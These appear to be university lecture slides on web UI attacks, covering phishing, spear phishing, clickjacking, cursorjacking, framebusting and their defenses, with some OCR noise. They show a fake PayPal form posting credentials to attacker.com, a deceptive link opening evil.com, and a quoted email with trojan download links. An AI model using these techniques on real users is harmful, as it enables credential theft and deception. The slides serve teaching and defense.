Web Security:
Ul Attacks

CS 161: Computer Security

Prof. Raluca Ada Popa

Some content adapted from materials by Dan Boneh




Announcements

Starting recording
TA checking chat

Project 3 part 1 due on 4/17 at 11:59pm
(extended)

HMW3b released, due 4/24



Recall: Phishing attack

Attacker creates fake website that
appears similar to a real one

Tricks user to visit site (e.g. sending
phishing email)

User inserts credentials and sensitive
data which gets sent to attacker

Web page then directs to real site or
shows maintenance issues



PayPal http://paypal.attacker.com/

Please fill in the correct information for the following category to verify your identity.

-Security Measures

Email address:

PayPal Password:

Full Name:

SSN: - -

4r

Card Type: Card Type
Card Number:

Expiration Date: Month % / [ Year & (mm/yyyy)
Card Verification Number (CVV2):

Street:

City:

4

Country: United States

Zip Code:
Telephone:
Verified By Visa / Mastercard

Securecode:

Date of Birth: - - (Ex: dd-mm-yyyy)

C oD

Protect Your Account Info

Make sure you never provide your
password to fraudulent persons.

PayPal automatically encrypts your
confidential information using the
Secure Sockets Layer protocol (SSL)
with an encryption key length of 128-
bits (the highest level commercially
available).

For more information on protecting
yourself from fraud, please review our
Security Tips at
http://www.paypal.com/securitytips

Protect Your Password

You should never give your PayPal
password to anyone, including PayPal
employees.

Your

method="post" name=Date>

> <form action="http://attacker.com/paypal.php”




Recall: phishing prevention

» User should check URL they are visiting!
— In the address bar not on text on page

- URL obfuscation attack: bankofthevvest.com
 Homeograph attack: paypal.com (first p in Cyrillic)
» User should check URL carefully!



“Spear Phishing”

From: Lab.senior.managerégmail.com
Subject: FW: Agenda
Body: This below agenda just came in form from Susan, please look at it.

>From: Norris, Susan (ORO)

>To: Manager, Senior; Rabovsky, Joel MJ

>Subject: Agenda

>Thanks, nice to know that you all care this so much!
>

>Susan Norris

>norrissg@oro.doe.gov
Attached: Agenda Mar 4.pdf




To: vern@ee.lbl.gov

Subject: RE: Russian spear phishing attack against .mil and .gov employees
From: jeffreyc@cia.gov

Date: Wed, 10 Feb 2010 19:51:47 +0100

Russian spear phishing attack against .mil and .gov employees

A "relatively large"” number of U.S. government and military employees are being taken in by a spear
phishing attack which delivers a variant of the Zeus trojan. The email address is spoofed to appear to
be from the NSA or InteLink concerning a report by the National Intelligence Council named the "2020
Project”. It's purpose is to collect passwords and obtain remote access to the infected hosts.

Security Update for Windows 2000/XP/Vista/7 (KB823988)

About this download: A securlty |ssue has been identified that could allow an attacker to remotely

compromi i and gain complete control over it. You can help
tect your computer by installing this update from Micro fter you install this item, you may

have to restart your computer.

Download:

http://mv.net.md/update/update.zip Yep, this is itself a
or spear-phishing attack!

http://www.sendspace.com/file/xwc1pi

Jeffrey Carr is the CEO of GreyLogic, the Founder and Principal Investigator of Project Grey Goose,
and the author of "Inside Cyber Warfare".
jeffreyc@greylogic.us



Sophisticated phishing

« Context-aware phishing — 10% users fooled

— Spoofed email includes info related to a recent eBay
transaction/listing/purchase

« Social phishing — 70% users fooled

— Send spoofed email appearing to be from one of the
victim’s friends (inferred using social networks)

West Point experiment

— Cadets received a spoofed email near end of semester:
“There was a problem with your last grade report; click here

fo resolve it.” 80% clicked.



Why does phishing work?
« User mental model vs. reality

— Browser security model too hard to understand!

* The easy path is insecure; the secure path takes
extra effort

* Risks are rare



Authenticating the server

 Users should:

— Check the address bar carefully. Or, load the site
via a bookmark or by typing into the address batr.

— Guard against spam
— Do not click on links, attachments from unknown

* Browsers also receive regular blacklists of
phishing sites (but this is not immediate)

* Mall servers try to eliminate phishing email



Authentication summary

 We need to authenticate both users and servers

* Phishing attack impersonates server

« Adisciplined user can reduce occurrence of
phishing attacks



Ul-based attacks




Clickjacking attacks

» Exploitation where a user's mouse click
IS used in a way that was not intended
by the user



Simple example

<a
onMouseDown=window.open(http://www.evil.com)
href=http://www.google.com/>

Go to Google</a>

What does it do?
* Opens a window to the attacker site

Why include href to Google?

* Browser status bar shows URL when
hovering over as a means of protection



Recall: Frames

A frame is used to embed another
document within the current HTML
document

* Any site can frame another site

* The <iframe> tag specifies an inline
frame



What happens in this case?

& funnycats.com > | Q Search ¥ A %' B A4 O »|~

& Gmail [ ] News ~ & PreVeil Email M Safeway - Groceri... 4" Instacart - Whole ... HCS 294, Fall2011  BF Bear Facts Faculty...

Funny cats website

- Personal Small Business Wealth Management Businesses & Institutid
JavaScript ica 23 o
p BankOfAmerlca // Locations | Contact Us i Help | En espafiol How carl

Secure Sign-in

(secret fi Sign In

@ Save Online ID Security & Help

Banking ‘ Credit Cards

Loans ‘ Investments 3§

Forgot ID  Forgot Passcode Enroll

Dol A nvimael &

»

Same-origin policy prevents this access




How to bypass same-origin
policy for frames?

Clickjacking



Clickjacking using frames

Evil site frames good site

Evil site covers good site by putting dialogue
boxes or other elements on top of parts of
framed site to create a different effect

Inner site now looks different to user



Compromise visual integrity — target

* Hiding the target |7 . | Y
Notyou? | Log out PayPal : o
* Partial overlays
$0.15




Ul Subversion: Clickjacking

« An attack application (script) compromises the context
integrity of another application’s User Interface when the
user acts on the Ul

Visual integrity
Target « = is visible
Pointer [, is visible
1. Targ&kged \

I;;LI Like < 2. Imjuate
click
I} 3. Target clicked
7
Temporal integrity

Targetgjicked = Targetcnecked
Pointergjickeq = POINterchecked




Compromise visual integrity — target

* Hiding the target |7 . | Y
Notyou? | Log out PayPal : o
* Partial overlays
$0.15




Compromise visual integrity — pointer:
cursorjacking

« (Can customize cursor!

CSS example:

#mycursor {

cursor: none;

width: 97px;

height: 137px;

background: url ("images/custom-cursor.jpg")

}
« Javascript can keep updating cursor, can display shifted cursor

Fake cursor, but more Real cursor
visible



Compromise visual integrity — pointer:
cursorjacking

Cursorjacking deceives a user by using a custom
cursor image, where the pointer was displayed with
an offset

D{h LI ke Download .exe

U U

Fake, but more wvisible real




Clickjacking to Access the
User's Webcam

skip-this ad »
You will be redirected to the requested page i 60 s . — T

\ Fake cursor

y Adobe Flash Player Settings

Camera and Microphone Access @I

www.webperflab.com is requesting access
to your camera and microphone. If you
click Allow, you may be recorded.

|ﬂ pAllow ||_=- Deny |

e -
-
-
-
-
L

-
-
e
—
i
-

Real cursor




How can we defend against
clickjacking?



Defenses

« User confirmation

- Good site pops dialogue box with information
on the action it is about to make and asks for
user confirmation

- Degrades user experience

* Ul randomization

- good site embeds dialogues at random
locations so it is hard to overlay

- Difficult & unreliable (e.g. multi-click attacks)



Defense 3: Framebusting

Web site includes code on a page that
prevents other pages from framing it

800 Mozilla Firefox (an]

G):)' @ @ [5  http:/ jwww.stanford.edu/~rydstedt/trybust/framed.t 77 v )= (P Coogle Q)

Most Visited ~ Stanford ~ printing.stanford.edu

®O® Google

=)

®:>' @ -“ http:/ /www.google.com/

ad CTCEE

Web Images Videos Maps News Shopping Gmail more v

iGoogle | Search settings | Sign in

Google

Google Search ‘ [ I'm Feeling Lucky

Advertising Programs - i Solutions - About Google

©2010 - Privacy

M
W

Most Visited -~ Stanford ~ printing.stanford.edu

Web Images Videos Maps News Shopping Gmail more ¥

Google

iGoogle | Search settings | Sign in

Google Search ‘ I'm Feeling Lucky

Programs - B Solutions - About Google
©2010 - Privacy

Advanced Search




What is framebusting?

Framebusting code is often made up of
 a conditional statement and
e a counter action

Common method:
If (top = self) {
top.location = self.location;



A Survey

Framebusting is very common at the Alexa Top 500 sites

[global traffic rank of a website]

Sites Framebusting

Top 10 60%
Top 100 37%
Top 500 14%

credit: Gustav Rydstedt



Many framebusting methods

if (top != self)
if (top.location != self.location)
if (top.location != location)
if (parent.frames.length > 0)
if (window != top)

if (window.top !== window.self)
if (window.self != window.top)
if (parent && parent != window)

if (parent && parent.frames &&
parent.frames.length>0)

if((self.parent && !(self.parent===self)) &&
(self.parent.frames.length!=0))




Many framebusting methods

top.location = self.location
top.location.href = document.location.href
top.location.href = self.location.href
top.location.replace(self.location)
top.location.href = window.location.href
top.location.replace(document.location)
top.location.href = window.location.href
top.location.href = "URL"
document.write(”)
top.location = location
top.location.replace(document.location)
top.location.replace('URL’)
top.location.href = document.location




Most current framebusting
can be defeated



Easy bugs

Goal: bank.com wants only bank.com’s sites to frame it

Bank runs this code to protect itself:

/T;ﬂopjocaﬁon!=locaﬁon){

\_ )

if (document.referrer &&
document.referrer.indexOf("bank.com") == -1)

{

top.location.replace(document.location.href);

~

/

Problem: http://badguy.com?q=bank.com



Defense: Ensuring visual integrity of pointer

« Remove cursor customization

— Attack success: 43% -> 16%
&

You will be redirected to the requested page in 60 seconds.

American

Red Cross




Ensuring visual integrity of pointer

* Freeze screen outside of the target display area when the real
pointer enters the target

— Attack success: 43% -> 15%

— Attack success (margin=10px): 12%

— Attack success (margin=20px): 4% (baseline:5%)
b

You will be redirected to the requested page in 60 seconds.

NON-PROFIT ADVERTISEMENT

Margin=20px




Ensuring visual integrity of pointer

 Lightbox effect around target on pointer entry

— Attack success (Freezing + lightbox): 2%
&




How about a temporal integrity attack
example?



Temporal clickjacking

# As you click on a button for an insensitive action,
a button for a sensitive action appears overlayed
and you click on it by mistake

- — e - (500Q... ’T,F x|

Instructions:
Please double-click o

GO O 81@ Clickjacking

Clickjacking is requesting permission to:

» Manage your contacts




Enforcing temporal integrity

« Ul delay: after visual changes on target or pointer,
invalidate clicks for X ms

— Attack success (delay=250ms): 47% -> 2% (2/91)
— Attack success (delay=500ms): 1% (1/89)

o= = |

Please double-click o




Enforcing temporal integrity

« Pointer re-entry: after visual changes on target,
iInvalidate clicks until pointer re-enters target

— Attack success: 0% (0/88)

—

€ C | © wpn

Instructions:
Please double-click o

40



Is there any hope?




Other defense: X-Frames-Options
(IE8, Safari, FF3.7)
 Web server attaches HTTP header to response

« Two possible values: DENY and SAMEORIGIN

 DENY: browser will not render page in framed context
« SAMEORIGIN: browser will only render if top frame is same origin as page

giving directive

« (Good defense ... but poor adoption by sites (4 of top
10,000)

- Coarse policies: no whitelisting of partner sites, which
should be allowed to frame our site



Other Forms of Ul Sneakiness

» Users might find themselves living in The
Matrix ...



“Browser in Browser”

@& Bank of the West | - Moxilla Firefox

File Edit View History Bookmarks Tools Help

@g' c X EBank LU AN https://www.bankofthewest.com/BOW/home ﬁf v l*‘Googz's
BANK S WEST <. Go[ Applyoniine "

B

Signinv Have a question? Contact Us. Find us  Z|P code or city & state

PERSONAL SMALL BUSINESS COMN

Products & Services

Checking

Savings & CDs

Credit Cards

Loans Maximize home equity
Wealth Management & Trust Consolidate debt
Insurance Try our financial calculators

See all our Personal banking products »
Done

www.bankofthewest.com |}




Summary

 Clickjacking is an attack on our perception
of a page based on the Ul

* Framebusting is tricky to get right
* All currently deployed code can be defeated

* Use X-Frame-Options



